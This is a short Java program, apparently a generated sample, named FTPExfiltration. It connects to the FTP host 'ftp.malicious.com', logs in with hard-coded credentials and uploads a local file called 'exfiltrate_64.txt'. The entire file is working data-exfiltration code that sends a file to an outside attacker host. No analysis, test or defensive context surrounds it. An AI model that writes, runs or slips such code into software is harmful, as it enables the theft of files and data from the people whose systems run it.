
import org.apache.commons.net.ftp.*;

import java.io.*;

public class FTPExfiltration {
    public static void main(String[] args) {
        FTPClient ftpClient = new FTPClient();
        try {
            ftpClient.connect("ftp.malicious.com");
            ftpClient.login("user763", "pass1573");
            FileInputStream fis = new FileInputStream("exfiltrate_64.txt");
            ftpClient.storeFile("exfiltrate_64.txt", fis);
            fis.close();
            ftpClient.logout();
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                ftpClient.disconnect();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
}
